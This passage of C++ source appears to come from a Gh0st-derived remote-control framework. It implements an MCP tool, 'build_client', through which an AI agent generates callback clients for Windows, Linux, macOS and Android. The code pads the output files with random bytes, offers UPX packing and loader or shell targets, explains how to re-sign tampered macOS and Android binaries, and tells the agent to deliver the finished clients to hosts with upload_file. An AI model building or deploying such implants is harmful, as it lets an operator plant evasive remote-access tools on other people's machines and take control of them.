可选增肥(追加到文件尾部,与对话框同款做法)---- if (paddingMb > 0) { const uint64_t total = (uint64_t)paddingMb * 1024 * 1024; std::vector chunk(1024 * 1024, (char)(time(0) % 256)); uint64_t left = total; while (left > 0) { const size_t n = (size_t)(left < chunk.size() ? left : chunk.size()); if (!WriteBinaryToFile(outPath.c_str(), chunk.data(), n, -1)) { errCode = -32001; err = "Failed to append padding; the client without padding was written and left at: " + outPath; return false; } left -= n; } } // ---- 结果 ---- Json::Value result(Json::objectValue); result["ok"] = true; result["path"] = ToUtf8(outPath.c_str(), CP_ACP); result["name"] = ToUtf8(outName.c_str(), CP_ACP); result["bytes"] = (Json::UInt64)FileSizeOf(outPath); result["target"] = def->name; result["targetLabel"] = def->label; result["arch"] = def->archAware ? arch : std::string("native"); result["clientType"] = GetClientType(def->clientType); result["host"] = host; result["port"] = port; result["protocol"] = ProtoName(proto); result["tlsAnchor"] = anchorStatus; if (!anchorSummary.empty()) result["tlsAnchorSummary"] = ToUtf8(anchorSummary.c_str(), CP_ACP); result["overwritten"] = (existing != INVALID_FILE_ATTRIBUTES); Json::Value tips(Json::arrayValue); if (std::string(def->name) == "testrun_dll") tips.append(u8"TestRun 需要同一目录下的 ServerDll.dll 才能正常工作;请另行生成 serverdll。"); if (proto == PROTO_KCP) tips.append(u8"使用 KCP 协议生成的服务,必须把主控的 UDP 协议参数设为 1。"); if (proto == PROTO_WS || proto == PROTO_WSS) tips.append(u8"WebSocket 协议需经反向代理(如 nginx 443)转发到主控端口,客户端地址可填域名。"); if (def->clientType == CLIENT_TYPE_MACOS) tips.append(u8"macOS binary 被修改后签名失效,直接运行会被系统强杀;请拷贝到 macOS 后运行 " u8"install.sh(会自动 ad-hoc 重签),或执行 codesign --force --sign - ghost。"); if (def->clientType == CLIENT_TYPE_ANDROID) tips.append(u8"APK 被修改后原签名失效,必须用 apksigner 重新签名后才能安装到设备。"); if (anchorStatus == "no_block") tips.append(u8"客户端模板里没有内嵌锚块,本次按普通客户端生成;重编 ghost/ServerDll 资源后可再次启用。"); if (anchorStatus == "unavailable") tips.append(u8"服务端当前未启用可用 TLS 身份,客户端未内嵌信任锚;首次连接为明文,需主控在线下发锚。"); if (anchorStatus == "not_applicable") tips.append(u8"该目标是加载器/壳,模板本身不含客户端锚块;需要首连即 TLS 时请对 serverdll 生成并启用 tls_anchor。"); if (def->anchorCapable && anchorStatus != "embedded" && anchorStatus != "disabled" && anchorStatus != "no_block") tips.append(u8"未内嵌 TLS 信任锚,本批客户端首次连接为明文,需主控在线下发锚。"); if (def->clientType == CLIENT_TYPE_LINUX || def->clientType == CLIENT_TYPE_MACOS || def->clientType == CLIENT_TYPE_ANDROID) tips.append(u8"该模板不含内嵌锚块;Linux/macOS 客户端的信任锚由主控在线下发(TLS 指令)。"); if (!tips.empty()) result["tips"] = tips; out = result; return true; } } // namespace namespace McpBuildClient { bool Handles(const std::string& toolName) { return toolName == "build_client"; } void AppendTools(Json::Value& tools) { if (!McpServer().IsBuildEnabled()) return; Json::Value tool(Json::objectValue); tool["name"] = "build_client"; tool["description"] = u8"在服务端本机生成一个客户端文件(按本主控的上线配置 patch 客户端模板后落盘)。" u8"这不会修改任何在线主机,也不依赖在线主机;生成目标是模板类型而不是某台设备。" u8"支持 Windows(ghost 单文件/服务/SYSTEM、TestRun 加载器、ServerDll.dll、TinyRun.dll)、" u8"Linux、macOS 与 Android。生成地址默认取服务端当前有效主控地址(含上级 FRP 配置)," u8"也可显式传 host/port。默认会在客户端模板存在内嵌 TLS 锚块且协议为 tcp/http 时写入" u8"服务端当前证书(首连即 TLS),其余目标如实标注 tlsAnchor 状态。" u8"输出目录默认主控程序目录,已存在同名文件时默认拒绝(传 overwrite=true 才覆盖)。" u8"Windows 目标可选 upx 压缩与 padding_mb 增肥;ShellCode AES / PE→ShellCode 等需要" u8"载荷文件的模式只能用生成对话框。需服务端开启 McpBuild 且关闭只读模式。" u8"生成后可把 path 交给用户;Windows/Linux/macOS 主机可用 upload_file 送达" u8"(文件格式需与目标平台匹配),Android 需用户自行安装。"; tool["inputSchema"] = BuildBuildClientInputSchema(); tool["outputSchema"] = BuildBuildClientOutputSchema(); tools.append(tool); } std::string Call(const Json::Value& id, const std::string& toolName, const Json::Value& args, CMy2015RemoteDlg* parent) { (void)parent; if (!Handles(toolName)) return BuildError(id, -32602, "Unknown tool: " + toolName); if (!McpServer().IsBuildEnabled()) return BuildError(id, -32006, "Client build tools are disabled (set McpBuild=1 to enable)"); if (McpServer().IsReadonly()) return BuildError(id, -32006, "build_client writes a client binary on the server; set McpReadonly=0 " "to enable"); std::lock_guard lock(g_buildMutex); Json::Value output; int errCode = -32001; std::string err; bool ok = false; try { ok = GenerateClient(args, output, errCode, err); } catch (const std::exception& e) { ok = false; errCode = -32001; err = std::string("Internal error while generating client: ") + e.what(); } catch (...) { ok = false; errCode = -32001; err = "Internal error while generating client"; } if (!ok) { Mprintf("[MCP] build_client failed: %s\n", err.c_str()); return BuildError(id, errCode, err); } Mprintf("[MCP] build_client: target=%s arch=%s bytes=%llu path=%s\n", JsonStrField(output, "target").c_str(), JsonStrField(output, "arch").c_str(), (unsigned long long)output["bytes"].asUInt64(), JsonStrField(output, "path").c_str()); Json::Value result(Json::objectValue); result["structuredContent"] = output; std::string text = std::string(u8"已生成 ") + JsonStrField(output, "targetLabel") + std::string(u8"(") + JsonStrField(output, "target") + std::string(u8",") + JsonStrField(output, "arch") + std::string(u8",") + JsonStrField(output, "clientType") + std::string(u8"):") + JsonStrField(output, "path") + std::string(u8",") + std::to_string(output["bytes"].asUInt64()) + std::string(u8" 字节;主控 ") + JsonStrField(output, "host") + std::string(":") + std::to_string(output["port"].asInt()) + std::string(u8",协议 ") + JsonStrField(output, "protocol") + std::string(u8",TLS 锚: ") + JsonStrField(output, "tlsAnchor") + u8"。"; if (output.isMember("tips")) { for (const Json::Value& tip : output["tips"]) text += std::string("\n- ") + tip.asString(); } Json::Value content(Json::arrayValue); Json::Value item(Json::objectValue); item["type"] = "text"; item["text"] = text; content.append(item); result["content"] = content; result["isError"] = false; return BuildResult(id, result); } } // namespace McpBuildClient